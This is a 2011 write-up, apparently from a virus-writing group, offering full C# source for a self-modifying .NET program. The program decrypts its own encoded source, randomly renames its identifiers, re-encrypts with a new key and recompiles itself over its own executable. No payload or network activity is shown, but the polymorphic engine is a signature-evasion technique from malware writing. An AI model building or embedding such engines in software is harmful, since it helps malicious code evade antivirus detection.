    return To index | download demo package!

    Self-Modifying Code in .NET (Sort Of)
    -------------------------------------
    alcopaul/brigada ocho
    june 02, 2011

    Nothing new. Uses old tricks. Tested in Windows XP SP3 on a NTFS partition. (Read on the internet that it won't work on FAT.)

    Processes
    ---------
    1.) If "tmp.tmp" exists, delete it.
    2.) Quine and do poly stuffs with its source code.
    3.) Rename itself to "tmp.tmp" [File.Move("self.exe","tmp.tmp");] to free its own filename. Process now runs in "tmp.tmp".
    4.) Compile and save to the original filename.
    5.) It now contains a modified version of itself.

    ====================================================================

    using System;
    using System.Text;
    using System.IO;
    using System.CodeDom;
    using System.CodeDom.Compiler;
    using Microsoft.CSharp;

    namespace ConsoleApplication6
    {
        class XProgramX
        {
            private static string database = "0008080>4b+l4b+j4b+54b++4b+34b6w4b+D4b+p4b+j4b+k4b+14b+94b6r4b6d4b6a4b+l4b+j4b+54b++4b+34b6w4b+D4b+p4b+j4b+k4b+14b+94b6+4b+E4b+14b+o4b+k4b6r4b6d4b6a4b+l4b+j4b+54b++4b+34b6w4b+D4b+p4b+j4b+k4b+14b+94b6+4b+Z4b+f4b6r4b6d4b6a4b+l4b+j4b+54b++4b+34b6w4b+D4b+p4b+j4b+k4b+14b+94b6+4b+T4b+/4b+04b+14b+U4b+/4b+94b6r4b6d4b6a4b+l4b+j4b+54b++4b+34b6w4b+D4b+p4b+j4b+k4b+14b+94b6+4b+T4b+/4b+04b+14b+U4b+/4b+94b6+4b+T4b+/4b+94b+g4b+54b+84b+14b+i4b6r4b6d4b6a4b+l4b+j4b+54b++4b+34b6w4b+d4b+54b+z4b+i4b+/4b+j4b+/4b+24b+k4b6+4b+T4b+D4b+44b+x4b+i4b+g4b6r4b6d4b6a4b6d4b6a4b++4b+x4b+94b+14b+j4b+g4b+x4b+z4b+14b6w4b+T4b+/4b++4b+j4b+/4b+84b+14b+R4b+g4b+g4b+84b+54b+z4b+x4b+k4b+54b+/4b++4b6m4b6d4b6a4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b+z4b+84b+x4b+j4b+j4b6w4b+I4b+A4b+i4b+/4b+34b+i4b+x4b+94b+I4b6d4b6a4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+g4b+i4b+54b+m4b+x4b+k4b+14b6w4b+j4b+k4b+x4b+k4b+54b+z4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+04b+x4b+k4b+x4b+y4b+x4b+j4b+14b6w4b6t4b6w4b6y>[encoded data, 18628 characters]";
            static void Main(string[] args)
            {
                if (File.Exists("tmp.tmp"))
                {
                    File.Delete("tmp.tmp");
                }
                string output = new Random(DateTime.Now.Millisecond).Next(1, 111111).ToString();
                if (output.Length == 1)
                {
                    output = "000000" + output;
                }
                else if (output.Length == 2)
                {
                    output = "00000" + output;
                }
                else if (output.Length == 3)
                {
                    output = "0000" + output;
                }
                else if (output.Length == 4)
                {
                    output = "000" + output;
                }
                else if (output.Length == 5)
                {
                    output = "00" + output;
                }
                else
                {
                    output = "0" + output;
                }
                string[] xtx = database.Split(new char[] { '>' });
                string codey = EncryptDecrypt(decodeb64(xtx[1]), Convert.ToInt32(xtx[0]));
                string codez = EncryptDecrypt(decodeb64(xtx[2]), Convert.ToInt32(xtx[0]));
                string codei = codey + decodeb64("fHx8fA==") + codez;
                string codel = polyx(codei);
                string codev = xtx[0].Replace("0008080", output);
                codel = codel.Replace("0008080", output);
                string[] finalx = codel.Split(new string[] { decodeb64("fHx8fA==") }, StringSplitOptions.None);
                codey = finalx[0];
                codez = finalx[1];
                string midcod = codev + ">" + encodeb64(EncryptDecrypt(codey, Convert.ToInt32(output))) + ">" + encodeb64(EncryptDecrypt(codez, Convert.ToInt32(output)));
                string xcodex = codey + midcod + codez;
                File.Move(System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName, "tmp.tmp");
                bool makeexe = BuildExe(System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName, xcodex);
            }
            private static string decodeb64(string donny)
            {
                byte[] plainx = Convert.FromBase64String(donny);
                return Encoding.UTF8.GetString(plainx);
            }
            private static string encodeb64(string ggg)
            {
                UTF8Encoding AEp = new UTF8Encoding();
                return Convert.ToBase64String(AEp.GetBytes(ggg));
            }
            private static string polyx(string jyug)
            {
                string[] ghost = { "makeexe","BuildExe","zname","vic","ocp","xvce","zresults","output","codev","EncryptDecrypt","textToEncrypt", "xkey","inSb","outSb","cmmm","immm","encodeb64","database","args","xtx","codey","codez","midcod","xcodex","decodeb64", "plainx","donny","polyx","jyug","pathx","GetRandomString", "ConsoleApplication6", "XProgramX","codei","codel","finalx","impy","ghost", "AEp", "ggg"};
                for (int impy = 0; impy < ghost.Length; impy++)
                {
                    jyug = jyug.Replace(ghost[impy], GetRandomString());
                }
                return jyug;
            }
            public static string GetRandomString()
            {
                string pathx = Path.GetRandomFileName();
                pathx = pathx.Replace(".", "");
                return "x" + pathx;
            }
            private static string EncryptDecrypt(string textToEncrypt, int xkeyx)
            {
                StringBuilder inSb = new StringBuilder(textToEncrypt);
                StringBuilder outSb = new StringBuilder(textToEncrypt.Length);
                char cmmm;
                for (int immm = 0; immm < textToEncrypt.Length; immm++)
                {
                    cmmm = inSb[immm];
                    cmmm = (char)(cmmm ^ xkeyx);
                    outSb.Append(cmmm);
                }
                return outSb.ToString();
            }
            private static bool BuildExe(string zname, string codey)
            {
                ICodeCompiler vic = new CSharpCodeProvider().CreateCompiler();
                CompilerParameters ocp = new CompilerParameters();
                ocp.ReferencedAssemblies.Add("System.dll");
                ocp.GenerateExecutable = true;
                ocp.CompilerOptions = "/target:winexe";
                ocp.OutputAssembly = zname;
                CompilerResults zresults = vic.CompileAssemblyFromSource(ocp, codey);
                foreach (CompilerError xvce in zresults.Errors)
                {
                    Console.WriteLine(xvce.ErrorNumber + ": " + xvce.ErrorText);
                }

                if (zresults.Errors.Count == 0)
                {
                    return true;
                }
                else
                {
                    return false;
                }
            }
        }
    }
    ===============================================================================